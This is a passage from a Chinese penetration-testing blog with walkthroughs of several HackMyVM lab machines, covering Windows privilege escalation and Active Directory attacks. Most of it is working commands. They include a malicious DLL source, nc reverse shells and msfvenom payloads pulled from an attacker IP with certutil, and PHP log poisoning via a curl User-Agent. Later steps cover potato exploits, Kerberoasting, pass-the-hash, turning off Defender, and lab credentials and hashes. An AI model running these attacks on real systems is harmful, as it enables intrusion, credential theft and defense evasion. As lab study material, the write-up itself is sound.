root 权限,完全一样。cd "C:\Program Files\Tenable\Nessus\" dir原来是可以利用直接替换这个应用程序进行提权,但是这里,杀软会查杀掉我们的msf马,要么你有能力过这个windows defender当然也可以使用nc,但是nc是一个应用程序,需要选用参数,而不是直接执行,就能上线msf或者Kali的nc的,需要使用批处理也就是.bat# Kali echo "C:\Users\nesus\Documents\nc.exe 192.168.53.51 4444 -e cmd.exe" > nessus-service.bat# evil-winrmupload nessus-service.bat "C:\Program Files\Tenable\Nessus\nessus-service.exe"这里漏掉了一个关键(你需要杀死它的进程,让服务自动重启)我们使用Stop-Process强制重启服务的时候报了一个错误:拒绝访问(Access is denied)Stop-Process -Id (Get-Process -Name "nessus-service").Id -FoRCE遇到 “Access denied” 是因为nessus-service进程以LocalSystem权限运行,低权限用户无法直接杀死。如何解决?尝试更底层的taskkill!taskkill是 Windows 原生的进程杀死命令,权限处理和Stop-Process不同,先试一次:taskkill /f /im nessus-service.exe照样也是拒绝访问。重启计算机也没用,那么就换一种方法,dll劫持!dll劫持!6.10 DLL劫持6.10.1 什么是 DLL 劫持?(类比 Linux)1. 基础定义DLL(Dynamic Link Library,动态链接库)是 Windows 里的 “共享代码文件”,类似 Linux 的.so文件(Shared Object)。很多程序(比如服务、软件)运行时会主动加载依赖的 DLL 文件(比如调用 DLL 里的函数)。DLL 劫持的本质是:攻击者替换 / 插入一个恶意 DLL 文件,让高权限运行的目标程序(比如 LocalSystem 权限的服务)“误加载” 我们的恶意 DLL,从而执行恶意代码(相当于 Linux 里用LD_PRELOAD强制 root 进程加载恶意.so文件)。2. 类比 Linux 场景你在 Linux 里想提权时,可能会用LD_PRELOAD=/tmp/malicious.so /usr/bin/root_program,强制 root 运行的root_program加载你的恶意.so文件,.so里的代码会以 root 权限执行。Windows DLL 劫持和这个逻辑完全一样:让 LocalSystem 权限的Tenable Nessus服务,加载你写的恶意legacy.dll,DLL 里的代码会以LocalSystem权限执行。6.10.2 DLL 劫持提权过程1、查权限icacls "C:\Program Files\Tenable\Nessus\*.dll"是 Windows 中用来查看指定目录下所有dll文件 / 子目录权限的命令,作用类似 Linux 里的ls -l /path/*.dll(查看某个目录下所有文件的权限详情)。icacls "C:\Program Files\Tenable\Nessus\*.dll"为什么要使用这条命令?确认你当前用户(nesus)对服务依赖的 DLL 文件(比如legacy.dll)有写入 / 替换权限。从之前的权限结果看,nesus对这些 DLL 有F(完全控制)权限 —— 相当于 Linux 里用ls -l /usr/lib/root_program_dep.so看到普通用户有w权限,满足 “能替换文件” 的前提。权限表,和linux差不多,这里多了个修改还有删除,linux中只有rwx符号权限说明对应操作F完全控制读取、写入、执行、删除、修改属性M修改写入、删除(需配合F)RX读取和执行查看内容、运行程序R只读查看内容W写入修改内容(需目录权限)D删除删除文件或子目录2、编写恶意 DLL 代码在网上找到一个脚本,这是一个基础的恶意 DLL,核心逻辑在DLLMAIn函数里:/* DLL hijacking example author: @cocomelonc */#include <windows.h>BOOL APIENTRY DllMAIn(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {switch (ul_reason_for_call) {case DLL_PROCESS_ATTACH: // 程序加载DLL时触发(关键分支)system("cmd.exe /k net localgroup administrators nesus /add"); // 恶意命令:把nesus加入管理员组break;case DLL_PROCESS_DETACH: // 其他分支(进程卸载、线程创建/销毁)暂不用管break;case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break;}return TRUE;}关键解释:DLLMAIn是 DLL 的 “入口函数”,类似 Linux.so文件的_init函数 —— 目标程序(Nessus 服务)加载 DLL 时,会自动调用DLLMAIn,并触发DLL_PROCESS_ATTACH分支。恶意命令net localgroup administrators nesus /add:把nesus加入管理员组(这里是示例,实际可写反弹 shell 命令,拿到 LocalSystem 权限)。Linux 类比:写一个恶意.so文件,在_init函数里执行system("usermod -aG sudo ubuntu"),让 root 进程加载时把普通用户加入 sudo 组。3、编译恶意 DLL(生成 Windows 能识别的格式)在 Kali 里用mingw编译 C 代码,生成 Windows 可加载的 DLL 文件:# kali x86_64-w64-mingw32-gcc exp.c -shared -o legacy.dllx86_64-w64-mingw32-gcc:Windows 交叉编译器(生成 64 位 Windows 程序,需和目标系统位数匹配);-shared:生成 “共享库”(即 DLL 文件,对应 Linux 的.so);-o legacy.dll:输出文件名为legacy.dll(必须和目标服务依赖的 DLL 同名,否则服务找不到)。4、备份原 DLL + 上传替换(避免服务崩溃 + 植入恶意文件)# evil-winrm cd "C:\Program Files\Tenable\Nessus" mv legacy.dll legacy_beifen.dll # 备份文件 upload legacy.dll # 上传你kali编译的dll文件备份原 DLL:legacy.dll是 Nessus 服务的依赖文件,直接删除会导致服务崩溃,备份后可回滚(类似 Linux 里cp /usr/lib/libnginx_dep.so /tmp/);上传替换:让服务下次加载legacy.dll时,加载的是你的恶意 DLL(类似 Linux 里cp /tmp/malicious.so /usr/lib/libnginx_dep.so)。5、重启虚拟机(触发服务加载恶意 DLL)最后重启目标机,Nessus 服务会随系统开机启动 —— 启动时会自动加载依赖的legacy.dll(此时已被替换成恶意 DLL):服务以LocalSystem(Windows 最高权限,类比 Linux root)启动;加载恶意legacy.dll,触发DLLMAIn的DLL_PROCESS_ATTACH分支;执行net localgroup administrators nesus /add,把nesus加入管理员组(实际可改为反弹 shell 命令,拿到 SYSTEM 权限);重启后,nesus已拥有管理员权限,提权成功。6.10.3 DLL 劫持的核心利用条件(必须满足这 4 点,否则失败)和Linux.so劫持的条件类似,DLL 劫持能成功,必须同时满足以下 4 个条件(你的场景全部满足):1. 目标程序(服务 / 软件)以高权限运行比如你的Tenable Nessus服务以LocalSystem权限运行(类比 Linux 里 root 运行的nginx)。若目标程序是普通用户权限,即使劫持成功,也只能拿到普通权限,无法提权。2. 你对目标程序加载的DLL 文件有写入 / 替换权限你的icacls结果显示,nesus对legacy.dll有F(完全控制)权限,能备份、删除、替换该 DLL(类比 Linux 里普通用户对/usr/lib/libnginx_dep.so有w权限)。若只有只读权限(RX),无法替换 DLL,劫持失败。3. 目标程序会主动加载该 DLL 文件legacy.dll是Tenable Nessus服务的 “依赖 DLL”—— 服务启动时必须加载它才能正常运行(类比 Linux 里nginx必须加载libnginx_dep.so)。若目标程序不加载该 DLL,即使替换了也没用(比如替换一个无关的 DLL 文件)。4. 恶意 DLL 能被目标程序成功加载恶意 DLL 的格式要正确(比如 32 位 / 64 位和目标程序匹配,你用x86_64编译对应 64 位系统);若目标程序需要 DLL 导出特定函数(比如LoadLibrary调用的函数),恶意 DLL 需包含这些导出函数(你的示例是基础DLLMAIn,满足简单加载需求)。类比 Linux 里恶意.so需符合 ELF 格式,否则无法被nginx加载。6.10.4 总结:DLL 劫持提权的核心逻辑找到一个 “高权限运行、且依赖的 DLL 你能替换” 的程序(比如服务),用恶意 DLL 替换原 DLL,让高权限程序执行恶意代码,从而拿到高权限。7、HackMyVm-Always :简单7.1 信息打点nmap -sS -p- -T4 10.10.10.161 -A使用目录扫描出来一个admin后台界面查看源码发现账号密码信息登录进来发现一个base编码解密FTPuser:KeepGoingBro!!!7.2 登录FTP使用刚刚的账号密码登录FTP 10.10.10.161发现了一个robots.txt,使用下面的命令将它下载下来get robots.txt查看这个robots.txt中的文件管理员的秘密笔记 1)禁用防火墙和 Windows Defender。 2)启用 FTP 和 SSH。 3)启动 Apache 服务器。 4)别忘了更改用户“always”的密码。当前密码是“WW91Q2FudEZpbmRNZS4hLiE=”。又得到一个密码always:YouCantFindMe.!.!7.3 远程登录发现密码不对,我们来使用hydra来爆破rdp协议使用enum4linux枚举,看到支持的smb协议,为1.0和2.0/2.1,3.0以上均不支持,让我联想到了永痕之蓝漏洞(MS17-010)enum4linux-ng -A 10.10.10.161 -C含义:-A是--all的缩写,表示执行全量信息收集,包含以下枚举内容:主机基础信息(主机名、工作组 / 域、MAC 地址);SMB 协议支持情况(支持的 SMB 版本、签名配置);用户和组列表(本地用户、域用户、内置组等);共享目录(可访问的 SMB 共享及权限);操作系统版本(通过 RPC 或 SMB 信息推断);服务、打印机、系统策略等其他信息。7.4 永痕之蓝利用,很遗憾利用失败利用nxc枚举这两个账号密码always:YouCantFindMe.!.! FTPuser:KeepGoingBro!!!看到ftpuser用户,尝试登录,也不让远程登录7.5 近源攻击这里没找到其他方法,直接登录靶机上传shell吧(近源攻击),这里还需要注意,就是需要修改一下语言为美国的,不然登录不进去7.6 Msf获取反向shellmsfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.137 LPORT=4444 -f exe -o shell.exe certutil -urlcache -split -f http://10.10.10.137:8000/shell.exe c:\1.exemsf上线msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 10.10.10.137 set lport 4444 run7.6 MSF内核漏扫use multi/recon/local_exploit_suggester使用第一个模块,设置第一个会话,并进行提权8、HackMyVm-Runas :简单8.1 信息打点首先进行全端口扫描端口详细信息探测时使用guest账户即可获取信息,说明 SMB 可能允许匿名访问或 guest 权限过高。可以使用smbclient进行匿名登录试试,登录成功!但是没有任何东西ms17-010使用目录扫描、nothing8.2 文件包含利用来到首页点进来index.php发现需要我们传一个file参数,大概率就是文件包含了尝试包含index.php没有效果利用burp进行批量文件包含,字典网上随便找几个筛选内容可以看到这里有一段密文runas-b3a805b2594befb6c846d718d1224557yakuzza解密网站https://www.somd5.com/8.3 远程连接有了账号密码,登录口在哪?看了看之前的端口扫描结果是没有3389端口的,但是现在又有了。。。。。(中途换了换网,ip变成了10.10.10.168)可能是我疏忽了吧,快点来连,搞不好等一下又关了8.4 创建反向shellwindows下载马certutil.exe -urlcache -split -f http://10.10.10.137:8000/shell.exemsf注意监听,同时执行windows机器上的马msfconsole use multi/handler set lhost 10.10.10.137 set payload windows/meterpreter/reverse_tcp run8.5 MSF内核提权全部失败。。。8.6 WinPEAS提权在windows中下载下来,并执行,发现一个最新的漏洞补丁没有打certutil.exe -urlcache -split -f http://10.10.10.137:8000/winPEAS.bat ./winPEAS.bat使用searchsploit检索exp在windwos中的VS打开,打包成exe放上去执行的时候没有任何回显,失败了8.7 土豆提权后面又试过好几种方法,土豆提权,提权失败certutil.exe -urlcache -split -f http://10.10.10.137:8000/GodPotato-NET2.exe certutil.exe -urlcache -split -f http://10.10.10.137:8000/GodPotato-NET35.exe certutil.exe -urlcache -split -f http://10.10.10.137:8000/GodPotato-NET4.exe GodPotato-NET2.exe -cmd "cmd /c whoami" GodPotato-NET35.exe -cmd "cmd /c whoami" GodPotato-NET4.exe -cmd "cmd /c whoami"8.8 JuicyPotato提权烂土豆提权certutil.exe -urlcache -split -f http://10.10.10.137:8000/JuicyPotato.exe certutil.exe -urlcache -split -f http://10.10.10.137:8000/CLSID/Windows_7_Enterprise/CLSID.list certutil.exe -urlcache -split -f http://10.10.10.137:8000/juicy-potato/Test/test_clsid.batJuicyPotato.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c C:\Users\runas\nc.exe 10.10.10.137 4444 -e c:\windows\system32\cmd.exe" -t *执行成功了,但是不能执行命令,提权失败8.9 runas提权在网上找到了这个,使用runas提权https://www.cnblogs.com/kqdssheng/p/18751119在上面这个图片中,可以看到本地管理员账户的凭据已存储在凭据管理器中,并且当前用户是runas!当前的runas用户能列出RUNAS-PC\Administrator的缓存凭据,具备利用这些凭据实现本地提权的条件DomAIn:interactive=RUNAS-PC\Administrator是 “交互式登录的管理员凭据缓存”,意味着系统之前保存过 Administrator 的登录信息(比如用户曾用 Administrator 登录,或通过runas /savecred保存过凭据)。虽然无法直接看到明文密码,但 Windows 允许 “在缓存凭据存在时,以该用户身份执行程序”—— 这是提权的关键:8.10 两种具体提权方法使用下面的命令启动一个cmdrunas /savecred /user:RUNAS-PC\Administrator "cmd.exe"此时你执行完这条命令目标机器就会弹出一个cmd窗口,此时你执行命令的时候就是administrator超级管理员,那么我们是不是能够通过上面这条命令执行一个木马,或者nc,来反弹这个shell到kali上?来试试,提权成功!certutil.exe -urlcache -split -f http://10.10.10.137:8000/nc.exe # 从kali中下载nc runas /savecred /user:Administrator "C:\Users\runas\nc.exe 10.10.10.169 4444 -e cmd.exe"8.11 msf内核扫描提升至系统权限可以使用winPACE.exe进行信息收集,在尝试过各种admin提权到系统权限的方式比如multi/recon/local_exploit_suggester MS17-017 exploit/windows/local/ms16_075_reflection 烂土豆提权 土豆提权 多土豆汁提权等等MS16-032最终测试出来windows/local/service_permissions能够成功提权到system权限,Windows服务权限配置错误漏洞。8.13 抓取明文密码上传mimikatz,获取明文密码!!certutil.exe -urlcache -split -f http://10.10.10.169:8000/mimikatz.exe9、TriplAdvisor :简单9.1 信息打点nmap -sS 192.168.53.243 -p- -T4发现有一个http的域名解析,需要我们在hosts文件中添加好相关的信息nmap -sS 192.168.53.243 -p 445,5985,8080 -T4 -A打开windows的hosts文件,添加如下信息C:\Windows\System32\drivers\etc\hostskali攻击机器中也不能忘了(方便渗透测试,windows中添加只是为了访问,当然也可以配置代理到kali)echo "192.168.53.243 tripladvisor" >> /etc/hosts打开信息收集插件,发现这是一个WordPress内容管理系统wpscan进行可能的用户,后台密码爆破wpscan --url http://tripladvisor:8080/wordpress/ -e u -P /usr/share/wordlists/fasttrack.txtWordPress版本信息已经被扫描出来了再使用详细扫描,发现一个插件wpscan --url http://tripladvisor:8080/wordpress/9.2 漏洞利用漏洞检索searchsploit editor 1.1 WordPress searchsploit -m 44340漏洞信息┌──(root㉿kali)-[/data/demo] └─# cat 44340.txt Product: Site Editor WordPress Plugin - https://wordpress.org/plugins/site-editor/ Vendor: Site Editor Tested version: 1.1.1 CVE ID: CVE-2018-7422** CVE description **A Local File Inclusion vulnerability in the Site Editor plugin through 1.1.1 for WordPress allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.** Technical details **In site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php:5, the value of the ajax_path parameter is used for including a file with PHP’s require_once(). This parameter can be controlled by an attacker and is not properly sanitized.Vulnerable code:if( isset( $_REQUEST['ajax_path'] ) && is_file( $_REQUEST['ajax_path'] ) && file_exists( $_REQUEST['ajax_path'] ) ){require_once $_REQUEST['ajax_path'];}https://plugins.trac.wordpress.org/browser/site-editor/trunk/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?rev=1640500#L5By providing a specially crafted path to the vulnerable parameter, a remote attacker can retrieve the contents of sensitive files on the local system.** Proof of Concept **http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd** Solution **No fix available yet.** Timeline **03/01/2018: author contacted through siteeditor.org's contact form; no reply16/01/2018: issue report filled on the public GitHub page with no technical details18/01/2018: author replies and said he replied to our e-mail 8 days ago (could not find the aforementioned e-mail at all); author sends us "another" e-mail19/01/2018: report sent; author says he will fix this issue "very soon"31/01/2018: vendor contacted to ask about an approximate release date and if he needs us to postpone the disclosure; no reply14/02/2018: WP Plugins team contacted; no reply06/03/2018: vendor contacted; no reply07/03/2018: vendor contacted; no reply15/03/2018: public disclosure** Credits **Vulnerability discovered by Nicolas Buzy-Debat working at Orange Cyberdefense Singapore (CERT-LEXSI).--Best Regards,Nicolas Buzy-DebatOrange Cyberdefense Singapore (CERT-LEXSI)存在文件包含漏洞,根据上面的url进行修改http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd因为这是windows系统,不存在/etc/passwd,那么怎么快速判断文件是否存在?字典https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt打开bp这里我们上传不了文件(没有账号密码),所以只能包含日志文件c:/xampp/apache/logs/access.log9.3 反弹shell使用curl写入日志,并包含日志文件,尝试获取命令执行结果,结果能正常执行命令┌──(root㉿kali)-[/usr/share/wordlists] └─# curl -A "<?php system('ipconfig /all');?>" http://tripladvisor:8080/wordpress/ ┌──(root㉿kali)-[/usr/share/wordlists] └─# curl "http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=c:/xampp/apache/logs/access.log"根据前面传msf马上去的经验,这里就传个nc吧curl -A "<?php system('certutil.exe -urlcache -split -f http://192.168.53.51:8000/nc.exe');?>" http://tripladvisor:8080/wordpress/ curl -A "<?php system('nc.exe 192.168.53.51 1234 -e cmd');?>" http://tripladvisor:8080/wordpress/ curl "http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=\xampp\apache\logs\access.log"切换到当前用户的文件夹,可以看到第一个flag将这个shell利用nc传到msf中,进行本地漏扫(试一试,说不定就出来了呢,虽然它只在meterpreter后渗透模块中生效)nc.exe 192.168.53.51 1234 -e cmd9.4 msf内核漏扫msfconsole use exploit/multi/handler # 加载handler模块 # 根据目标系统选择payload(nc反弹的是基础shell,非meterpreter)# 目标是Windows,接收nc命令反弹的shell:set PAYLOAD windows/shell_reverse_tcpset LHOST 192.168.53.51 # 攻击机IP(与nc反弹目标一致)set LPORT 1234 # 监听端口(与nc反弹端口一致)run -j # 启动监听,保持后台执行use multi/recon/local_exploit_suggester # 使用本地提权漏扫模块,估计这里没效果,目前测试只有meterpreter模块反弹的shell能用set session 1 # 设置反弹成功的会话id为1,使用 sessions 即可查看所有的会话id9.5 土豆提权certutil.exe -urlcache -split -f http://192.168.53.51:8000/GodPotato-NET2.exe certutil.exe -urlcache -split -f http://192.168.53.51:8000/GodPotato-NET35.exe certutil.exe -urlcache -split -f http://192.168.53.51:8000/GodPotato-NET4.exe失败.\GodPotato-NET4.exe -cmd "cmd /c whoami" .\GodPotato-NET35.exe -cmd "cmd /c whoami" .\GodPotato-NET2.exe -cmd "cmd /c whoami"9.6 JuicyPotato提权certutil.exe -urlcache -split -f http://192.168.53.51:8000/JuicyPotato.exe certutil.exe -urlcache -split -f http://192.168.53.51:8000/CLSID/Windows_Server_2008_R2_Enterprise/CLSID.listhttps://github.com/ohpe/juicy-potato/blob/master/CLSID/Windows_Server_2008_R2_Enterprise/CLSID.list然后用这个工具测试certutil.exe -urlcache -split -f http://192.168.53.51:8000/juicy-potato/Test/test_clsid.bat此时你的靶机上应该要有这三个文件此时验证一下,能否正常访问administrotar的文件,结果为拒绝访问(因为靶机限制了我不能使用whoami,所以只能这样验证)回到目录,执行此文件随便选择一个系统权限的clsid最终提权命令如下,kali记得开ncJuicyPotato.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c C:\xampp\htdocs\WordPress\wp-content\plugins\editor\editor\extensions\pagebuilder\includes\nc.exe 192.168.53.51 4444 -e cmd.exe" -t *此时就可以访问管理员的文件了10、HackMyVm-DC01 :简单10.1 信息打点nmap -sS 192.168.53.26 -p- -T4 | grep -E '^[0-9]+/tcp' | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//'漏洞扫描nmap -sS 192.168.53.26 -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49676,49707,49783 -T4 --script=vuln使用新版enum4linux枚举系统的全部信息enum4linux-ng -A 192.168.53.26 -C10.2 SMB无密登录列出来smb共享文件夹可以匿名登录的共享目录中都没有文件,只能继续信息收集从上面enum4linux-ng枚举结果显示除了SMB服务,还有LDAP以及LDAPS(加密传输,类似于https)服务可达,运行在389/636端口LDAP 是域内 “用户 / 组 / 计算机信息的数据库”,后续有账号就能查域内核心信息(如用户列表、管理员组)。Appears to be root/parent DC:目标可能是”主域控制器“,也就是域控,完整的域名为:SOUPEDECODE.LOCAL域控制器(DC)是域的 “核心”,存储所有域信息(账号、权限、计算机),拿下它就等于控制整个域后续 LDAP 查询(如ldapsearch)要写-b "dc=SOUPEDECODE,dc=LOCAL",Kerberos 攻击要指定-d SOUPEDECODE.LOCAL,没有这个域名,大部分域操作都无法执行。域的 “短域名” 是 SOUPEDECODE(完整域名是 SOUPEDECODE.LOCAL,短域名是简化版)后续登录域账号时可用短域名(如SOUPEDECODE\admin)或完整域名(如admin@SOUPEDECODE.LOCAL),两种格式都支持,短域名更简洁。其中- SOUPEDECODE <1c> - <GROUP> B <ACTIVE> Domain Controllers代表着 DC01 属于 “域控制器组”,进一步验证它是域控制器,不是普通域内主机。刚刚提到了,使用LDAP查询(如ldapsearch)需要增加一个参数 -b,Kerberos 攻击要指定-d SOUPEDECODE.LOCAL10.3 ldapsearch那么利用ldapsearch的完整命令就如下ldapsearch -x -H ldap://192.168.53.26 -D '' -w '' -b "dc=SOUPEDECODE,dc=LOCAL" -s base "(objectclass=user)"上面的代码是什么意思呢?其核心”匿名访问被拒绝“各个参数解释如下连接192.168.53.26这台 LDAP 服务器(域控制器);用匿名方式访问(-D '' -w ''表示空用户名、空密码);查询dc=SOUPEDECODE,dc=LOCAL这个节点(域的核心数据节点,存储用户、组等信息);只查该节点本身(-s base),且只找 “用户类型” 的对象((objectclass=user))。为什么报错了?text: 000004DC: LdapErr: DSID-0C090A58, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c翻译过来是:“要执行这个操作,必须先在连接上完成‘成功的绑定’(即提供有效的账号密码进行身份验证)”我们想访问的dc=SOUPEDECODE,dc=LOCAL节点是域的 “敏感数据区”(存着用户账号、权限等核心信息),域控制器为了安全,禁止匿名用户访问这个区域,必须用 “合法的域账号” 登录后才能查询。如果不加这个-b参数呢,把它去掉,这样就成功了ldapsearch -x -H ldap://192.168.53.26 -D '' -w '' -b '' -s base "(objectclass=user)"这段ldapsearch结果包含了域控制器(192.168.53.26)的核心架构信息我们之前执行的命令指定-b "dc=SOUPEDECODE,dc=LOCAL",默认查的是 LDAP 的 “根节点”(-b ""):根节点只存域的基础架构信息(如域名、支持的协议),不包含敏感数据,所以允许匿名访问,命令能成功;而之前指定的dc=SOUPEDECODE,dc=LOCAL 是 “核心数据节点”,匿名访问被拒绝,所以报错。这次查询返回的是 LDAP 根节点的配置信息,本质是域控制器 “公开可见的基础架构数据”,包含 5 类关键内容:域的命名结构(域名、目录节点路径);域功能级别(操作系统版本版本);支持的协议和认证机制;域控制器的身份标识标识(主机名、角色);LDAP 服务的配置限制(如最大连接数、查询超时)。10.4 匿名枚举用户的SID解释那么多,渗透到目前收集到的信息,本质就是没有账号密码,获取账号密码可以利用lookupsidfind / -name lookupsid* 2>/dev/nulllookupsid.py是 Impacket 工具集中的SID 枚举工具,核心作用是通过 SMB/LDAP 协议查询目标系统的安全标识符(SID)及其对应账号 / 组信息,在域渗透中常用于 “匿名 / 低权限枚举域内关键账号(如管理员)”,下面枚举soupedecode.local这个域的SID信息,并使用匿名账号和空密码(-no-pass)登录(部分域会禁用匿名登录,这里是一个突破点)python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/anonymous@192.168.53.26 -no-pass为什么能列举出来SID?lookupsid.py,通过匿名访问这个域(工具连接域控制器后,会先查询 “域本身的 SID”),通过枚举rid(sid最后一部分),再拼接完整的sid,工具把每个 “完整 SID” 发给域控制器,调用它的LsaLookupSids2接口(就像查字典),问:“这个 SID 对应哪个账号?”,这样工具就会返回给你对应的账号信息# 筛选 SidTypeUser 行 → 提取账号名(去掉 SOUPEDECODE\) → 去重 → 保存到 target_users.txt,AI一下就行 grep "SidTypeUser" /data/demo/user | awk -F '\\\\' '{print $2}' | awk '{print $1}' | sort -u > /data/demo/target_users.txt10.5 nxc内网渗透nxc内网渗透神器,进行SMB爆破,但是这里我们是用户和密码都不知道,相当于BurpSuite中的集群炸弹攻击,为了减少攻击次数,我们可以使用相同的账号密码,进行攻击,也就是BurpSuite中的Pitchfork攻击所以命令如下nxc smb 192.168.53.26 -u target_users.txt -p target_users.txt --no-brutefoRCE --continue-on-success找到ybob317:ybob317账号密码,继续接下来的渗透,smb登录,照样也没有任何东西换一个USERS,这里面有东西,我们去看看,全部下载下来尝试上传一个文件shell,禁止上传将全部的文件都下载下来recurse ON prompt OFF mget *在ybob317中找到了flag10.6 kerberos攻击服务器上开启了kerberos服务如果目标是域控制器(DC)(如你之前枚举的DC01.SOUPEDECODE.LOCAL),则一定开启了 Kerberos 服务,因为:1、Kerberos 是 Windows 域环境的核心认证协议,用于域内账号登录、服务访问等身份验证;2、域控制器作为 Kerberos 的 “密钥分发中心(KDC)”,必须运行 Kerberos 服务(kdc.exe进程),否则域功能无法正常工作。impacket-GetUserSPNs -request -dc-ip 192.168.53.26 SOUPEDECODE.LOCAL/ybob317:ybob317通过域用户ybob317的凭证,向域控制器(IP:192.168.53.26)查询域内所有关联了 SPN 的用户,并强制请求并获取这些用户的 TGS 票据(Ticket-Granting Service),最终可用于破解用户密码(利用hashcat等工具爆破 TGS 票据哈希)。同步时间ntpdate 192.168.53.26将这些内容全部复制到一个名叫”hash“文件中,使用hashcat攻击,爆破出来file_svc用户的密码为Password123!!hashcat -a 0 -m 13100 hash /usr/share/wordlists/rockyou.txt使用smbclient登录smbclient //192.168.53.26/backup -U file_svc Password123!! get backup_extract.txt exit随后使用awk进行筛选awk -F '[:]' '{print $4}' backup_extract.txt > ntml.txtnxc smb 192.168.53.26 -u target_users.txt -H ntml.txt最终账号密码如下FileServer$ :e41da7e79a4c76dbd9cf79d1cb32555910.7 远程连接evil-winrm -i 192.168.53.26 -u "FileServer$" -H "e41da7e79a4c76dbd9cf79d1cb325559"至此已经拿到了管理员权限,和最后的flag,据说在域中administrator就是系统权限10.8 获取system权限后续如果有兴趣的是否可以利用这个管理员权限提升至系统权限,默认的cmd下载命令不能用,只能用powershell,命令如下Invoke-WebRequest -Uri "http://192.168.53.141:8000/PrivescCheck.ps1" -OutFile "PrivescCheck.ps1" Set-ExecutionPolicy Bypass -Scope process -FoRCE ./PrivescCheck.ps1 # 或者. .\PrivescCheck.ps1 Invoke-PrivescCheck Set-MpPreference -DisableRealtimeMonitoring $true # 关闭杀软 Invoke-WebRequest -Uri "http://192.168.53.141:8000/shell.exe" -OutFile "shell.exe" ./shell.exe # msf生成的马可以看到是能正常上线的扫描出来两个提权漏洞,第二个不能用可以使用第一个,但是没有创建成功会话,由于桥接模式老是自动换ip,就不继续了,另外使用mimikatz.exe也不能正常执行,x86和x64都试过了,后续有做出来的师傅,欢迎添加我好友,一起讨论 + baibaixiaoyu2024exploit/windows/local/ms16_032_secondary_logon_handle_privesc12、HackMyVm-DC02 :中等中途可能会切换好几次IP,但是都是同一个靶机,我自己网络不稳定,或者机器环境有问题,重装导致的,不用管IP的变化12.1 端口扫描这里使用nmap进行全端口扫描,识别目标开放的服务和操作系统信息nmap -sS -p- -T4 192.168.219.240 -A端口53:DNS服务,用于域名解析 端口88:Kerberos认证,域用户登录验证 端口139/445:SMB文件共享服务 端口389:LDAP目录服务,存储用户信息 端口636:安全的LDAP 端口5985:WinRM远程管理 这些端口组合表明这是一个域控制器!12.2 enum4linux枚举使用enum4linux-ng通过 LDAP/SMB/RPC 等协议枚举目标系统信息(是enum4linux的升级版,现在有社区维护,老版已不再维护)enum4linux-ng -A 192.168.219.240 -C工具作用:通过 SMB/LDAP/RPC 等协议自动枚举 Windows 域环境信息12.3 尝试使用匿名登录目的:检查是否允许匿名访问SMB共享 结果:需要认证,匿名访问被拒绝smbclient -L //192.168.219.227/ -N12.4 kerberos 用户名枚举字典使用的是seclist,总共发现了3个用户,admin / zximena448 / charliekerbrute userenum -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames-dup.txt --dc 192.168.219.227kerbrute:一款用于Kerberos用户枚举和密码爆破的工具。userenum:用户枚举模式。-d SOUPEDECODE.LOCAL:指定域名。/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames-dup.txt:用户名字典路径。--dc 192.168.219.240:指定域控制器的IP地址。12.5 爆破 kerberos 协议爆破kerberos 协议的时候,需要同步时间(Kerberos要求时间偏差在5分钟内)ntpdate 192.168.219.227 # 将本地时间与目标域控制器同步 kerbrute bruteuser --dc 192.168.219.227 -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames-dup.txt charlie -v# 参数解析 bruteuser:针对单个用户进行密码爆破 --dc 192.168.219.240:域控制器IP -d SOUPEDECODE.LOCAL:域名 /usr/share/...usernames-dup.txt:密码字典(这里误用了用户名字典,应该用密码字典) charlie:目标用户名 -v:详细输出模式如果不同步时间就会出现如下结果为什么需要同步时间?Kerberos 认证流程中,客户端向 KDC(域控制器)请求票据(如 AS-REQ)时,会在请求中包含当前时间戳,KDC 收到请求后会:检查客户端时间戳与自身系统时间的偏差是否在允许范围内(默认通常为 5 分钟,由域策略Maximum tolerance for computer clock synchronization控制)。若偏差超过阈值,KDC 会直接拒绝请求,返回错误KDC_ERR_CLOCK_SKEW_TOO_GREAT(时钟偏差过大)。有了账号密码charlie/charlie,登录smb服务使用evil-winrm远程连接服务器(类似于3389端口的rdp远程连接),这个服务运行在5985端口evil-winrm -i 192.168.219.227 -u charlie -p charlie12.6 查询域内SPN关联用户有了域内的账号密码,再来看看SPN,查询域内所有关联了 SPN 的用户,用来获取他们的凭据,没有结果impacket-GetUserSPNs -request -dc-ip 192.168.219.227 SOUPEDECODE.LOCAL/charlie:charlie12.7 枚举域内用户SID再由于目标域不支持匿名登录(包括smb)所以不能使用-no-pass参数来枚举这个域的SID核心作用是通过 SMB/LDAP 协议查询目标系统的SID SMB/LDAP 及其账号和组信息python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/charlie@192.168.219.240 -no-passSID遍历,枚举域内用户,使用账号密码charlie:charlie(看看charlie这个用户有没有权限查看SID)python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/charlie@192.168.219.240正常枚举域内用户信息,把它归纳成一个字典python 